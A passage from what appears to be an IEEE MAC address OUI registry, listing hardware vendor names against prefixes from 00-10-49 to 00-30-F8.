00-10-49    SHORELINE TELEWORKS, INC.
00-10-4A    THE PARVUC CORPORATION
00-10-4B    3COM CORPORATION
00-10-4C    COMPUTER ACCESS TECHNOLOGY
00-10-4D    SURTEC INDUSTRIES, INC.
00-10-4E    CEOLOGIC
00-10-4F    STORAGE TECHNOLOGY CORPORATION
00-10-50    RION CO., LTD.
00-10-51    CMICRO CORPORATION
00-10-52    METTLER-TOLEDO (ALBSTADT) GMBH
00-10-53    COMPUTER TECHNOLOGY CORP.
00-10-54    CISCO SYSTEMS, INC.
00-10-55    FUJITSU MICROELECTRONICS, INC.
00-10-56    SODICK CO., LTD.
00-10-57    COREL COMPUTER CORPORATION
00-10-58    ARROWPOINT COMMUNICATIONS,INC.
00-10-59    DIABLO RESEARCH CO. LLC
00-10-5A    3COM CORPORATION
00-10-5B    NET INSIGHT AB
00-10-5C    QUANTUM DESIGNS (H.K.) LTD.
00-10-5D    DRAGER, BUSINESS UNIT
00-10-5E    HEKIMIAN LABORATORIES, INC.
00-10-5F    IN-SNEC
00-10-60    BILLIONTON SYSTEMS, INC.
00-10-61    HOSTLINK CORP.
00-10-62    NX SERVER, ILNC.
00-10-63    STARGUIDE DIGITAL NETWORKS
00-10-64    DIGITAL EQUIPMENT CORP.
00-10-65    RADYNE CORPORATION
00-10-66    ADVANCED CONTROL SYSTEMS, INC.
00-10-67    REDBACK NETWORKS, INC.
00-10-68    COMOS TELECOM
00-10-69    HELIOSS COMMUNICATIONS, INC.
00-10-6A    DIGITAL MICROWAVE CORPORATION
00-10-6B    SONUS NETWORKS, INC.
00-10-6C    INFRATEC PLUS GMBH
00-10-6D    INTEGRITY COMMUNICATIONS, INC.
00-10-6E    TADIRAN COM. LTD.
00-10-6F    TRENTON TECHNOLOGY INC.
00-10-70    CARADON TREND LTD.
00-10-71    ADVANET INC.
00-10-72    GVN TECHNOLOGIES, INC.
00-10-73    TECHNOBOX, INC.
00-10-74    ATEN INTERNATIONAL CO., LTD.
00-10-75    CREATIVE DESIGN SOLUTIONS,INC.
00-10-76    EUREM GMBH
00-10-77    SAF DRIVE SYSTEMS, LTD.
00-10-78    NUERA COMMUNICATIONS, INC.
00-10-79    CISCO SYSTEMS, INC.
00-10-7A    AMBICOM, INC.
00-10-7B    CISCO SYSTEMS, INC.
00-10-7C    P-COM, INC.
00-10-7D    AURORA COMMUNICATIONS, LTD.
00-10-7E    BACHMANN ELECTRONIC GMBH
00-10-7F    CRESTRON ELECTRONICS, INC.
00-10-80    METAWAVE COMMUNICATIONS
00-10-81    DPS, INC.
00-10-82    JNA TELECOMMUNICATIONS LIMITED
00-10-83    HEWLETT-PACKARD COMPANY
00-10-84    K-BOT COMMUNICATIONS
00-10-85    POLARIS COMMUNICATIONS, INC.
00-10-86    ATTO TECHNOLOGY, INC.
00-10-87    Xstreamis PLC
00-10-88    AMERICAN NETWORKS INC.
00-10-89    WEBSONIC
00-10-8A    TERALOGIC, INC.
00-10-8B    LASERANIMATION SOLLINGER GMBH
00-10-8C    FUJITSU TELECOMMUNICATIONS
00-10-8D    JOHNSON CONTROLS, INC.
00-10-8E    HUGH SYMONS CONCEPT
00-10-8F    RAPTOR SYSTEMS
00-10-90    CIMETRICS, INC.
00-10-91    NO WIRES NEEDED BV
00-10-92    NETCORE INC.
00-10-93    CMS COMPUTERS, LTD.
00-10-94    ADTECH, INC.
00-10-95    THOMSON CONSUMER ELECTRONICS
00-10-96    TRACEWELL SYSTEMS, INC.
00-10-97    WINNET METROPOLITAN
00-10-98    STARNET TECHNOLOGIES, INC.
00-10-99    INNOMEDIA, INC.
00-10-9A    NETLINE
00-10-9B    VIXEL CORPORATION
00-10-9C    M-SYSTEM CO., LTD.
00-10-9D    CLARINET SYSTEMS, INC.
00-10-9E    AWARE, INC.
00-10-9F    PAVO, INC.
00-10-A0    INNOVEX TECHNOLOGIES, INC.
00-10-A1    KENDIN SEMICONDUCTOR, INC.
00-10-A2    TNS
00-10-A3    OMNITRONIX, INC.
00-10-A4    XIRCOM
00-10-A5    OXFORD INSTRUMENTS
00-10-A6    CISCO SYSTEMS, INC.
00-10-A7    UNEX TECHNOLOGY CORPORATION
00-10-A8    RELIANCE COMPUTER CORP.
00-10-A9    ADHOC TECHNOLOGIES
00-10-AA    MEDIA4, INC.
00-10-AB    KOITO INDUSTRIES, LTD.
00-10-AC    IMCI TECHNOLOGIES
00-10-AD    SOFTRONICS USB, INC.
00-10-AE    SHINKO ELECTRIC INDUSTRIES CO.
00-10-AF    TAC SYSTEMS, INC.
00-10-B0    MERIDIAN TECHNOLOGY CORP.
00-10-B1    FOR-A CO., LTD.
00-10-B2    COACTIVE AESTHETICS
00-10-B3    NOKIA MULTIMEDIA TERMINALS
00-10-B4    ATMOSPHERE NETWORKS
00-10-B5    ACCTON TECHNOLOGY CORPORATION
00-10-B6    ENTRATA COMMUNICATIONS CORP.
00-10-B7    COYOTE TECHNOLOGIES, LLC
00-10-B8    ISHIGAKI COMPUTER SYSTEM CO.
00-10-B9    MAXTOR CORP.
00-10-BA    MARTINHO-DAVIS SYSTEMS, INC.
00-10-BB    DATA & INFORMATION TECHNOLOGY
00-10-BC    APTIS COMMUNICATIONS, INC.
00-10-BD    THE TELECOMMUNICATION
00-10-BE    TELEXIS CORP.
00-10-BF    INTER AIR WIRELESS
00-10-C0    ARMA, INC.
00-10-C1    OI ELECTRIC CO., LTD.
00-10-C2    WILLNET, INC.
00-10-C3    CSI-CONTROL SYSTEMS
00-10-C4    MEDIA LINKS CO., LTD.
00-10-C5    PROTOCOL TECHNOLOGIES, INC.
00-10-C6    USI
00-10-C7    DATA TRANSMISSION NETWORK
00-10-C8    COMMUNICATIONS ELECTRONICS
00-10-C9    MITSUBISHI ELECTRONICS
00-10-CA    INTEGRAL ACCESS
00-10-CB    FACIT K.K.
00-10-CC    CLP COMPUTER LOGISTIK
00-10-CD    INTERFACE CONCEPT
00-10-CE    VOLAMP, LTD.
00-10-CF    FIBERLANE COMMUNICATIONS
00-10-D0    WITCOM, LTD.
00-10-D1    BLAZENET, INC.
00-10-D2    NITTO TSUSHINKI CO., LTD
00-10-D3    GRIPS ELECTRONIC GMBH
00-10-D4    STORAGE COMPUTER CORPORATION
00-10-D5    IMASDE CANARIAS, S.A.
00-10-D6    ITT A/CD
00-10-D7    ARGOSY RESEARCH INC.
00-10-D8    CALISTA
00-10-D9    IBM JAPAN, FUJISAWA MT+D
00-10-DA    MOTION ENGINEERING, INC.
00-10-DB    NETSCREEN TECHNOLOGIES, INC.
00-10-DC    MICRO-STAR INTERNATIONAL
00-10-DD    ENABLE SEMICONDUCTOR, INC.
00-10-DE    INTERNATIONAL DATACASTING
00-10-DF    RISE COMPUTER INC.
00-10-E0    COBALT MICROSERVER, INC.
00-10-E1    S.I. TECH, INC.
00-10-E2    ARRAYCOMM, INC.
00-10-E3    COMPAQ COMPUTER CORPORATION
00-10-E4    NSI CORPORATION
00-10-E5    SOLECTRON TEXAS
00-10-E6    APPLIED INTELLIGENT
00-10-E7    BREEZECOM
00-10-E8    TELOCITY, INCORPORATED
00-10-E9    RAIDTEC LTD.
00-10-EA    ADEPT TECHNOLOGY
00-10-EB    SELSIUS SYSTEMS, ILNC.
00-10-EC    RPCG, LLC
00-10-ED    SUNDANCE TECHNOLOGY, INC.
00-10-EE    CTI PRODUCTS, INC.
00-10-EF    DB NETWORKS, INC.
00-10-F0    RITTAL-WERK RUDOLF LOH
00-10-F1    I-O CORPORATION
00-10-F2    ANTEC
00-10-F3    NEXCOM INTERNATIONAL CO., LTD.
00-10-F4    VERTICAL NETWORKS, INC.
00-10-F5    AMHERST SYSTEMS, INC.
00-10-F6    CISCO SYSTEMS, INC.
00-10-F7    IRIICHI TECHNOLOGIES
00-10-F8    KENWOOD TMI CORPORATION
00-10-F9    UNIQUE SYSTEMS, INC.
00-10-FA    ZAYANTE, INC.
00-10-FB    ZIDA TECHNOLOGIES LIMITED
00-10-FC    BROADBAND NETWORKS, INC.
00-10-FD    COCOM A/S
00-10-FE    DIGITAL EQUIPMENT CORPORATION
00-10-FF    CISCO SYSTEMS, INC.
00-1C-7C    PERQ SYSTEMS CORPORATION
00-20-00    LEXMARK INTERNATIONAL, INC.
00-20-01    DSP SOLUTIONS, INC.
00-20-02    SERITECH ENTERPRISE CO., LTD.
00-20-03    PIXEL POWER LTD.
00-20-04    YAMATAKE-HONEYWELL CO., LTD.
00-20-05    SIMPLE TECHNOLOGY
00-20-06    GARRETT COMMUNICATIONS, INC.
00-20-07    SFA, INC.
00-20-08    CABLE & COMPUTER TECHNOLOGY
00-20-09    PACKARD BELL ELEC., INC.
00-20-0A    SOURCE-COMM CORP.
00-20-0B    OCTAGON SYSTEMS CORP.
00-20-0C    ADASTRA SYSTEMS CORP.
00-20-0D    CARL ZEISS
00-20-0E    SATELLITE TECHNOLOGY MGMT, INC
00-20-0F    TANBAC CO., LTD.
00-20-10    JEOL SYSTEM TECHNOLOGY CO. LTD
00-20-11    CANOPUS CO., LTD.
00-20-12    CAMTRONICS MEDICAL SYSTEMS
00-20-13    DIVERSIFIED TECHNOLOGY, INC.
00-20-14    GLOBAL VIEW CO., LTD.
00-20-15    ACTIS COMPUTER SA
00-20-16    SHOWA ELECTRIC WIRE & CABLE CO
00-20-17    ORBOTECH
00-20-18    CIS TECHNOLOGY INC.
00-20-19    OHLER GMBH
00-20-1A    N-BASE SWITCH COMMUNICATIONS
00-20-1B    NORTHERN TELECOM/NETWORK
00-20-1C    EXCEL, INC.
00-20-1D    KATANA PRODUCTS
00-20-1E    NETQUEST CORPORATION
00-20-1F    BEST POWER TECHNOLOGY, INC.
00-20-20    MEGATRON COMPUTER INDUSTRIES
00-20-21    ALGORITHMS SOFTWARE PVT. LTD.
00-20-22    TEKNIQUE, INC.
00-20-23    T.C. TECHNOLOGIES PTY. LTD
00-20-24    PACIFIC COMMUNICATION SCIENCES
00-20-25    CONTROL TECHNOLOGY, INC.
00-20-26    AMKLY SYSTEMS, INC.
00-20-27    MING FORTUNE INDUSTRY CO., LTD
00-20-28    WEST EGG SYSTEMS, INC.
00-20-29    TELEPROCESSING PRODUCTS, INC.
00-20-2A    N.V. DZINE
00-20-2B    ADVANCED TELECOMMUNICATIONS
00-20-2C    WELLTRONIX CO., LTD.
00-20-2D    TAIYO CORPORATION
00-20-2E    DAYSTAR DIGITAL
00-20-2F    ZETA COMMUNICATIONS, LTD.
00-20-30    ANALOG & DIGITAL SYSTEMS
00-20-31    ERTEC GMBH
00-20-32    ALCATEL TAISEL
00-20-33    SYNAPSE TECHNOLOGIES, INC.
00-20-34    ROTEC INDUSTRIEAUTOMATION GMBH
00-20-35    IBM CORPORATION
00-20-36    BMC SOFTWARE
00-20-37    SEAGATE TECHNOLOGY
00-20-38    VME MICROSYSTEMS INTERNATIONAL
00-20-39    SCINETS
00-20-3A    DIGITAL BI0METRICS INC.
00-20-3B    WISDM LTD.
00-20-3C    EUROTIME AB
00-20-3D    NOVAR ELECTRONICS CORPORATION
00-20-3E    LOGICAN TECHNOLOGIES, INC.
00-20-3F    JUKI CORPORATION
00-20-40    GENERAL INSTRUMENT CORPORATION
00-20-41    DATA NET
00-20-42    DATAMETRICS CORP.
00-20-43    NEURON COMPANY LIMITED
00-20-44    GENITECH PTY LTD
00-20-45    SOLCOM SYSTEMS, LTD.
00-20-46    CIPRICO, INC.
00-20-47    STEINBRECHER CORP.
00-20-48    FORE SYSTEMS, INC.
00-20-49    COMTRON, INC.
00-20-4A    PRONET GMBH
00-20-4B    AUTOCOMPUTER CO., LTD.
00-20-4C    MITRON COMPUTER PTE LTD.
00-20-4D    INOVIS GMBH
00-20-4E    NETWORK SECURITY SYSTEMS, INC.
00-20-4F    DEUTSCHE AEROSPACE AG
00-20-50    KOREA COMPUTER INC.
00-20-51    PHOENIX DATA COMMUNUNICATIONS
00-20-52    RAGULA SYSTEMS
00-20-53    HUNTSVILLE MICROSYSTEMS, INC.
00-20-54    EASTERN RESEARCH, INC.
00-20-55    ALTECH CO., LTD.
00-20-56    NEOPRODUCTS
00-20-57    TITZE DATENTECHNIK GMBH
00-20-58    ALLIED SIGNAL INC.
00-20-59    MIRO COMPUTER PRODUCTS AG
00-20-5A    COMPUTER IDENTICS
00-20-5B    SKYLINE TECHNOLOGY
00-20-5C    INTERNET SYSTEMS/ FLORIDA INC.
00-20-5D    NANOMATIC OY
00-20-5E    CASTLE ROCK, INC.
00-20-5F    GAMMADATA COMPUTER GMBH
00-20-60    ALCATEL ITALIA S.P.A.
00-20-61    DYNATECH COMMUNICATIONS, INC.
00-20-62    SCORPION LOGIC, LTD.
00-20-63    WIPRO INFOTECH LTD.
00-20-64    PROTEC MICROSYSTEMS, INC.
00-20-65    SUPERNET NETWORKING INC.
00-20-66    GENERAL MAGIC, INC.
00-20-68    ISDYNE
00-20-69    ISDN SYSTEMS CORPORATION
00-20-6A    OSAKA COMPUTER CORP.
00-20-6B    MINOLTA CO., LTD.
00-20-6C    EVERGREEN TECHNOLOGY CORP.
00-20-6D    DATA RACE, INC.
00-20-6E    XACT, INC.
00-20-6F    FLOWPOINT CORPORATION
00-20-70    HYNET, LTD.
00-20-71    IBR GMBH
00-20-72    WORKLINK INNOVATIONS
00-20-73    FUSION SYSTEMS CORPORATION
00-20-74    SUNGWOON SYSTEMS
00-20-75    MOTOROLA COMMUNICATION ISRAEL
00-20-76    REUDO CORPORATION
00-20-77    KARDIOS SYSTEMS CORP.
00-20-78    RUNTOP, INC.
00-20-79    MIKRON GMBH
00-20-7A    WISE COMMUNICATIONS, INC.
00-20-7B    LEVEL ONE COMMUNICATIONS
00-20-7C    AUTEC GMBH
00-20-7D    ADVANCED COMPUTER APPLICATIONS
00-20-7E    FINECOM CO., LTD.
00-20-7F    KYOEI SANGYO CO., LTD.
00-20-80    SYNERGY (UK) LTD.
00-20-81    TITAN ELECTRONICS
00-20-82    ONEAC CORPORATION
00-20-83    PRESTICOM INCORPORATED
00-20-84    OCE PRINTING SYSTEMS, GMBH
00-20-85    EXIDE ELECTRONICS
00-20-86    MICROTECH ELECTRONICS LIMITED
00-20-87    MEMOTEC COMMUNICATIONS CORP.
00-20-88    GLOBAL VILLAGE COMMUNICATION
00-20-89    T3PLUS NETWORKING, INC.
00-20-8A    SONIX COMMUNICATIONS, LTD.
00-20-8B    LAPIS TECHNOLOGIES, INC.
00-20-8C    GALAXY NETWORKS, INC.
00-20-8D    CMD TECHNOLOGY
00-20-8E    CHEVIN SOFTWARE ENG. LTD.
00-20-8F    ECI TELECOM LTD.
00-20-90    ADVANCED COMPRESSION
00-20-91    J125, NATIONAL SECURITY AGENCY
00-20-92    CHESS ENGINEERING B.V.
00-20-93    LANDINGS TECHNOLOGY CORP.
00-20-94    CUBIX CORPORATION
00-20-95    RIVA ELECTRONICS
00-20-96    SIEBE ENVIRONMENTAL CONTROLS
00-20-97    APPLIED SIGNAL TECHNOLOGY
00-20-98    HECTRONIC AB
00-20-99    BON ELECTRIC CO., LTD.
00-20-9A    THE 3DO COMPANY
00-20-9B    ERSAT ELECTRONIC GMBH
00-20-9C    PRIMARY ACCESS CORP.
00-20-9D    LIPPERT AUTOMATIONSTECHNIK
00-20-9E    BROWN'S OPERATING SYSTEM
00-20-9F    MERCURY COMPUTER SYSTEMS, INC.
00-20-A0    OA LABORATORY CO., LTD.
00-20-A1    DOVATRON
00-20-A2    GALCOM NETWORKING LTD.
00-20-A3    DIVICOM INC.
00-20-A4    MULTIPOINT NETWORKS
00-20-A5    API ENGINEERING
00-20-A6    PROXIM, INC.
00-20-A7    PAIRGAIN TECHNOLOGIES, INC.
00-20-A8    SAST TECHNOLOGY CORP.
00-20-A9    WHITE HORSE INDUSTRIAL
00-20-AA    DIGIMEDIA VISION LTD.
00-20-AB    MICRO INDUSTRIES CORP.
00-20-AC    INTERFLEX DATENSYSTEME GMBH
00-20-AD    LINQ SYSTEMS
00-20-AE    ORNET DATA COMMUNICATION TECH.
00-20-AF    3COM CORPORATION
00-20-B0    GATEWAY DEVICES, INC.
00-20-B1    COMTECH RESEARCH INC.
00-20-B2    GKD GESELLSCHAFT FUR
00-20-B3    SCLTEC COMMUNICATIONS SYSTEMS
00-20-B4    TERMA ELEKTRONIK AS
00-20-B5    YASKAWA ELECTRIC CORPORATION
00-20-B6    AGILE NETWORKS, INC.
00-20-B7    NAMAQUA COMPUTERWARE
00-20-B8    PRIME OPTION, INC.
00-20-B9    METRICOM, INC.
00-20-BA    CENTER FOR HIGH PERFORMANCE
00-20-BB    ZAX CORPORATION
00-20-BC    JTEC PTY LTD.
00-20-BD    NIOBRARA R & D CORPORATION
00-20-BE    LAN ACCESS CORP.
00-20-BF    AEHR TEST SYSTEMS
00-20-C0    PULSE ELECTRONICS, INC.
00-20-C1    TAIKO ELECTRIC WORKS, LTD.
00-20-C2    TEXAS MEMORY SYSTEMS, INC.
00-20-C3    COUNTER SOLUTIONS LTD.
00-20-C4    INET,INC.
00-20-C5    EAGLE TECHNOLOGY
00-20-C6    NECTEC
00-20-C7    AKAI Professional M.I. Corp.
00-20-C8    LARSCOM INCORPORATED
00-20-C9    VICTRON BV
00-20-CA    DIGITAL OCEAN
00-20-CB    PRETEC ELECTRONICS CORP.
00-20-CC    DIGITAL SERVICES, LTD.
00-20-CD    HYBRID NETWORKS, INC.
00-20-CE    LOGICAL DESIGN GROUP, INC.
00-20-CF    TEST & MEASUREMENT SYSTEMS INC
00-20-D0    VERSALYNX CORPORATION
00-20-D1    MICROCOMPUTER SYSTEMS (M) SDN.
00-20-D2    RAD DATA COMMUNICATIONS, LTD.
00-20-D3    OST (OUEST STANDARD TELEMATIQU
00-20-D4    CABLETRON - ZEITTNET INC.
00-20-D5    VIPA GMBH
00-20-D6    BREEZECOM
00-20-D7    JAPAN MINICOMPUTER SYSTEMS CO.
00-20-D8    NETWAVE TECHNOLOGIES, INC.
00-20-D9    PANASONIC TECHNOLOGIES, INC./
00-20-DA    XYLAN CORPORATION
00-20-DB    XNET TECHNOLOGY, INC.
00-20-DC    DENSITRON TAIWAN LTD.
00-20-DD    AWA LTD.
00-20-DE    JAPAN DIGITAL LABORAT'Y CO.LTD
00-20-DF    KYOSAN ELECTRIC MFG. CO., LTD.
00-20-E0    PREMAX ELECTRONICS, INC.
00-20-E1    ALAMAR ELECTRONICS
00-20-E2    INFORMATION RESOURCE
00-20-E3    MCD KENCOM CORPORATION
00-20-E4    HSING TECH ENTERPRISE CO., LTD
00-20-E5    APEX DATA, INC.
00-20-E6    LIDKOPING MACHINE TOOLS AB
00-20-E7    B&W NUCLEAR SERVICE COMPANY
00-20-E8    DATATREK CORPORATION
00-20-E9    DANTEL
00-20-EA    EFFICIENT NETWORKS, INC.
00-20-EB    CINCINNATI MICROWAVE, INC.
00-20-EC    TECHWARE SYSTEMS CORP.
00-20-ED    GIGA-BYTE TECHNOLOGY CO., LTD.
00-20-EE    GTECH CORPORATION
00-20-EF    USC CORPORATION
00-20-F0    UNIVERSAL MICROELECTRONICS CO.
00-20-F1    ALTOS INDIA LIMITED
00-20-F2    SUN MICROSYSTEMS, INC.
00-20-F3    RAYNET CORPORATION
00-20-F4    SPECTRIX CORPORATION
00-20-F5    PANDATEL AG
00-20-F6    NET TEK  AND KARLNET, INC.
00-20-F7    CYBERDATA
00-20-F8    CARRERA COMPUTERS, INC.
00-20-F9    PARALINK NETWORKS, INC.
00-20-FA    GDE SYSTEMS, INC.
00-20-FB    OCTEL COMMUNICATIONS CORP.
00-20-FC    MATROX
00-20-FD    ITV TECHNOLOGIES, INC.
00-20-FE    TOPWARE INC. / GRAND COMPUTER
00-20-FF    SYMMETRICAL TECHNOLOGIES
00-30-00    ALLWELL TECHNOLOGY CORP.
00-30-01    SMP
00-30-02    Expand Networks
00-30-03    Phasys Ltd.
00-30-04    LEADTEK RESEARCH INC.
00-30-05    Fujitsu Siemens Computers
00-30-06    SUPERPOWER COMPUTER
00-30-07    OPTI, INC.
00-30-08    AVIO DIGITAL, INC.
00-30-09    Tachion Networks, Inc.
00-30-0A    AZTECH SYSTEMS LTD.
00-30-0B    mPHASE Technologies, Inc.
00-30-0C    CONGRUENCY, LTD.
00-30-0D    MMC Technology, Inc.
00-30-0E    Klotz Digital AG
00-30-0F    IMT - Information Management T
00-30-10    VISIONETICS INTERNATIONAL
00-30-11    HMS FIELDBUS SYSTEMS AB
00-30-12    DIGITAL ENGINEERING LTD.
00-30-13    NEC Corporation
00-30-14    DIVIO, INC.
00-30-15    CP CLARE CORP.
00-30-16    ISHIDA CO., LTD.
00-30-17    TERASTACK LTD.
00-30-18    Jetway Information Co., Ltd.
00-30-19    CISCO SYSTEMS, INC.
00-30-1A    SMARTBRIDGES PTE. LTD.
00-30-1B    SHUTTLE, INC.
00-30-1C    ALTVATER AIRDATA SYSTEMS
00-30-1D    SKYSTREAM, INC.
00-30-1E    3COM Europe Ltd.
00-30-1F    OPTICAL NETWORKS, INC.
00-30-20    TSI, Inc..
00-30-21    HSING TECH. ENTERPRISE CO.,LTD
00-30-22    Fong Kai Industrial Co., Ltd.
00-30-23    COGENT COMPUTER SYSTEMS, INC.
00-30-24    CISCO SYSTEMS, INC.
00-30-25    CHECKOUT COMPUTER SYSTEMS, LTD
00-30-26    HEITEL
00-30-27    KERBANGO, INC.
00-30-28    FASE Saldatura srl
00-30-29    OPICOM
00-30-2A    SOUTHERN INFORMATION
00-30-2B    INALP NETWORKS, INC.
00-30-2C    SYLANTRO SYSTEMS CORPORATION
00-30-2D    QUANTUM BRIDGE COMMUNICATIONS
00-30-2E    Hoft & Wessel AG
00-30-2F    Smiths Industries
00-30-30    HARMONIX CORPORATION
00-30-31    LIGHTWAVE COMMUNICATIONS, INC.
00-30-32    MAGICRAM, INC.
00-30-33    ORIENT TELECOM CO., LTD.
00-30-36    RMP ELEKTRONIKSYSTEME GMBH
00-30-37    Packard Bell Nec Services
00-30-38    XCP, INC.
00-30-39    SOFTBOOK PRESS
00-30-3A    MAATEL
00-30-3B    PowerCom Technology
00-30-3C    ONNTO CORP.
00-30-3D    IVA CORPORATION
00-30-3E    Radcom Ltd.
00-30-3F    TurboComm Tech Inc.
00-30-40    CISCO SYSTEMS, INC.
00-30-41    SAEJIN T & M CO., LTD.
00-30-42    DeTeWe-Deutsche Telephonwerke
00-30-43    IDREAM TECHNOLOGIES, PTE. LTD.
00-30-44    Portsmith LLC
00-30-45    Village Networks, Inc. (VNI)
00-30-46    Controlled Electronic Manageme
00-30-47    NISSEI ELECTRIC CO., LTD.
00-30-48    Supermicro Computer, Inc.
00-30-49    BRYANT TECHNOLOGY, LTD.
00-30-4A    FRAUNHOFER INSTITUTE IMS
00-30-4B    ORBACOM SYSTEMS, INC.
00-30-4C    APPIAN COMMUNICATIONS, INC.
00-30-4D    ESI
00-30-4E    BUSTEC PRODUCTION LTD.
00-30-4F    PLANET Technology Corporation
00-30-50    Versa Technology
00-30-51    ORBIT AVIONIC & COMMUNICATION
00-30-52    ELASTIC NETWORKS
00-30-53    Basler AG
00-30-54    CASTLENET TECHNOLOGY, INC.
00-30-55    Hitachi Semiconductor America,
00-30-56    Beck IPC GmbH
00-30-57    E-Tel Corporation
00-30-58    API MOTION
00-30-59    DIGITAL-LOGIC AG
00-30-5A    TELGEN CORPORATION
00-30-5B    MODULE DEPARTMENT
00-30-5C    SMAR Laboratories Corp.
00-30-5D    DIGITRA SYSTEMS, INC.
00-30-5E    Abelko Innovation
00-30-5F    IMACON APS
00-30-60    STARMATIX, INC.
00-30-61    MobyTEL
00-30-62    PATH 1 NETWORK TECHNOL'S INC.
00-30-63    SANTERA SYSTEMS, INC.
00-30-64    ADLINK TECHNOLOGY, INC.
00-30-65    APPLE COMPUTER, INC.
00-30-66    DIGITAL WIRELESS CORPORATION
00-30-67    BIOSTAR MICROTECH INT'L CORP.
00-30-68    CYBERNETICS TECH. CO., LTD.
00-30-69    IMPACCT TECHNOLOGY CORP.
00-30-6A    PENTA MEDIA CO., LTD.
00-30-6B    CMOS SYSTEMS, INC.
00-30-6C    Hitex Holding GmbH
00-30-6D    LUCENT TECHNOLOGIES
00-30-6E    HEWLETT PACKARD
00-30-6F    SEYEON TECH. CO., LTD.
00-30-70    1Net Corporation
00-30-71    Cisco Systems, Inc.
00-30-72    INTELLIBYTE INC.
00-30-73    International Microsystems, In
00-30-74    EQUIINET LTD.
00-30-75    ADTECH
00-30-76    N-CUBED.NET
00-30-77    ONPREM NETWORKS
00-30-78    Cisco Systems, Inc.
00-30-79    CQOS, INC.
00-30-7A    Advanced Technology & Systems
00-30-7B    Cisco Systems, Inc.
00-30-7C    ADID SA
00-30-7D    GRE AMERICA, INC.
00-30-7E    Redflex Communication Systems
00-30-7F    IRLAN LTD.
00-30-80    CISCO SYSTEMS, INC.
00-30-81    ALTOS C&C
00-30-82    TAIHAN ELECTRIC WIRE CO., LTD.
00-30-83    VEDIA TECHNOLOGY, LTD.
00-30-84    ALLIED TELESYN INTERNAIONAL
00-30-85    CISCO SYSTEMS, INC.
00-30-86    Transistor Devices, Inc.
00-30-87    VEGA GRIESHABER KG
00-30-88    Siara Systems, Inc.
00-30-89    Spectrapoint Wireless, LLC
00-30-8A    NICOTRA SISTEMI S.P.A
00-30-8B    Brix Networks
00-30-8C    ADVANCED DIGITAL INFORMATION
00-30-8D    PINNACLE SYSTEMS, INC.
00-30-8E    CROSS MATCH TECHNOLOGIES, INC.
00-30-8F    MICRILOR, Inc.
00-30-90    CYRA TECHNOLOGIES, INC.
00-30-91    TAIWAN FIRST LINE ELEC. CORP.
00-30-92    ModuNORM GmbH
00-30-93    SONNET TECHNOLOGIES, INC.
00-30-94    Cisco Systems, Inc.
00-30-95    Procomp Informatics, Ltd.
00-30-96    CISCO SYSTEMS, INC.
00-30-97    EXOMATIC AB
00-30-98    Global Converging Technologies
00-30-99    BOENIG UND KALLENBACH OHG
00-30-9A    ASTRO TERRA CORP.
00-30-9B    Smartware
00-30-9C    Timing Applications, Inc.
00-30-9D    Nimble Microsystems, Inc.
00-30-9E    WORKBIT CORPORATION.
00-30-9F    AMBER NETWORKS
00-30-A0    TYCO SUBMARINE SYSTEMS, LTD.
00-30-A1    OPTI TECH CO., LTD.
00-30-A2    Lightner Engineering
00-30-A3    CISCO SYSTEMS, INC.
00-30-A4    Woodwind Communications System
00-30-A5    ACTIVE POWER
00-30-A6    VIANET TECHNOLOGIES, LTD.
00-30-A7    SCHWEITZER ENGINEERING
00-30-A8    OL'E COMMUNICATIONS, INC.
00-30-A9    Netiverse, Inc.
00-30-AA    AXUS MICROSYSTEMS, INC.
00-30-AB    DELTA NETWORKS, INC.
00-30-AC    Systeme Lauer GmbH & Co., Ltd.
00-30-AD    SHANGHAI COMMUNICATION
00-30-AE    Times N System, Inc.
00-30-AF    Honeywell Reqelsysteme GmbH
00-30-B0    Convergenet Technologies
00-30-B1    GOC GESELLSCHAFT FUR OPTISCHE
00-30-B2    WESCAM - HEALDSBURG
00-30-B3    San Valley Systems, Inc.
00-30-B4    INTERSIL CORP.
00-30-B5    Tadiran Microwave Networks
00-30-B6    CISCO SYSTEMS, INC.
00-30-B7    Teletrol Systems, Inc.
00-30-B8    RiverDelta Networks
00-30-B9    ECTEL
00-30-BA    AC&T SYSTEM CO., LTD.
00-30-BB    CacheFlow, Inc.
00-30-BC    Optronic AG
00-30-BD    BELKIN COMPONENTS
00-30-BE    City-Net Technology, Inc.
00-30-BF    MULTIDATA GMBH
00-30-C0    Lara Technology, Inc.
00-30-C1    HEWLETT-PACKARD
00-30-C2    COMONE
00-30-C3    FLUECKIGER ELEKTRONIK AG
00-30-C4    Niigata Canotec Co., Inc.
00-30-C5    CADENCE DESIGN SYSTEMS
00-30-C6    CONTROL SOLUTIONS, INC.
00-30-C7    MACROMATE CORP.
00-30-C8    GAD LINE, LTD.
00-30-C9    LuxN, N
00-30-CA    Discovery Com
00-30-CB    OMNI FLOW COMPUTERS, INC.
00-30-CC    Tenor Networks, Inc.
00-30-CD    CONEXANT SYSTEMS, INC.
00-30-CE    Zaffire
00-30-CF    TWO TECHNOLOGIES, INC.
00-30-D1    INOVA CORPORATION
00-30-D2    WIN TECHNOLOGIES, CO., LTD.
00-30-D3    Agilent Technologies
00-30-D4    COMTIER
00-30-D5    DResearch GmbH
00-30-D6    MSC VERTRIEBS GMBH
00-30-D7    Innovative Systems, L.L.C.
00-30-D8    SITEK
00-30-D9    DATACORE SOFTWARE CORP.
00-30-DA    COMTREND CO.
00-30-DB    SEDERTA INC.
00-30-DC    RIGHTECH CORPORATION
00-30-DD    INDIGITA CORPORATION
00-30-DE    WAGO Kontakttechnik GmbH
00-30-DF    KB/TEL TELECOMUNICACIONES
00-30-E0    OXFORD SEMICONDUCTOR LTD.
00-30-E1    ACROTRON SYSTEMS, INC.
00-30-E2    GARNET SYSTEMS CO., LTD.
00-30-E3    SEDONA NETWORKS CORP.
00-30-E4    CHIYODA SYSTEM RIKEN
00-30-E5    Amper Datos S.A.
00-30-E6    SIEMENS MEDICAL SYSTEMS
00-30-E7    CNF MOBILE SOLUTIONS, INC.
00-30-E8    ENSIM CORP.
00-30-E9    GMA COMMUNICATION MANUFACT'G
00-30-EA    INTELECT COMMUNICTIONS, INC.
00-30-EB    TURBONET COMMUNICATIONS, INC.
00-30-EC    BORGARDT
00-30-ED    Expert Magnetics Corp.
00-30-EE    DSG Technology, Inc.
00-30-EF    NEON TECHNOLOGY, INC.
00-30-F0    Uniform Industrial Corp.
00-30-F1    Accton Technology Corp.
00-30-F2    CISCO SYSTEMS, INC.
00-30-F3    At Work Computers
00-30-F4    STARDOT TECHNOLOGIES
00-30-F5    Wild Lab. Ltd.
00-30-F6    SECURELOGIX CORPORATION
00-30-F7    RAMIX INC.
00-30-F8    Dynapro Systems, Inc.
